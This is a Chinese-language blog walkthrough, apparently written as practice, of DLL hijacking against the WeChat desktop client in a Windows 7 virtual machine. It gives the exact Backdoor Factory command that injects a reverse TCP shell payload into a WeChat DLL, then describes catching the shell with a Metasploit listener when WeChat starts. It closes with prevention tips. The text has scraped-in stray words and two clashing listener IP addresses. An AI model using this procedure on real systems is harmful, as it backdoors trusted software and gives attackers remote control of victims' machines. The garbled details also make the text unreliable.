最近恰好在作PPT的dll劫持测试,如今就随便拿一个程序来练练手。增长一下熟练度。本测试纯属学习测试过程,不可用于非法操做!!!python
1、测试环境git
工具下载地址:github
(1)BDF,劫持工具,可用于DLL注入,https://github.com/cream492/the- backdoor-factoryshell
(2)ProcessExplorer https://process-explorer.en.softonic.com/任务管理工具,本实验中用于查找微信程序调用的 DLL 文件微信
2、测试过程tcp
1
在 Win7 虚拟机中打开微信登陆窗口,须要扫描登陆的窗口便可;然 后开启 ProcessExplorer,在运行程序列表中找到微信,而后在菜单栏中找“View”—>“LowerPaneView”—>“DLLs”,或者 ctrl+d, 接下来能够看到微信登陆页面调用的动态连接库 以下图所示工具
测试使用的DLL是libEGL.DLL 文件学习
理论在微信安装目录下其余的DLL文件均可以 有待测试测试
2虚拟机
在kali 中下载 Backdoor - factory www.gendan5.com
执行 ./backdoor.py -h 出现测试安装是否成功
将 Win7 安装的微信程序目录中的 libEGL.dll 拷贝到 kali 系统中,放于 the-backdoor-factory 下,运行命令以下:
python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 8888 -H 192.168.114.140
其中,-f 表示被劫持的 DLL 文件,-s 表示 shell 的类型,-P 表示 DLL 要链接 远程主机的端口,-H 表示 DLL 链接的远程主机,注意参数的大小写问题
3
而后能够看到生成的文件放在 backdoored 目录下
而后将该文件从新放置在win7的微信安装目录
4
打开kali中的msf 设置exploit 和payload,随后设置 lhost 和 lport, IP 是 192.168.112.140,端口是 8888,最后输入 exploit 或者 run,监听过来的 shell。
5
在win7中打开微信 不须要登录 就能在kali中接受到反弹的shell。
反弹shell命令
3、预防DLL劫持
(1)DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。因此能够告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法能够经过修改注册表实现:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerKnownDLLs是调用系统DLL的首要查找目录;例如里面有RE_SZ类型的"ntdll"="ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载;
由此,添加"LPK"="LPK.DLL"便可防止LPK被劫持,同理能够阻止一些其余DLL被劫持,例如"USP10"。 在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经至关齐全,在Win7系统下发生DLL劫持的几率要比XP小不少。(借用百度的预防知识点) (2)还能够经过第三方工具进行dll劫持检测。DllHijackAuditor可以防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。 (3)坚持从官方下载软件,拒绝第三方。万一有后门呢?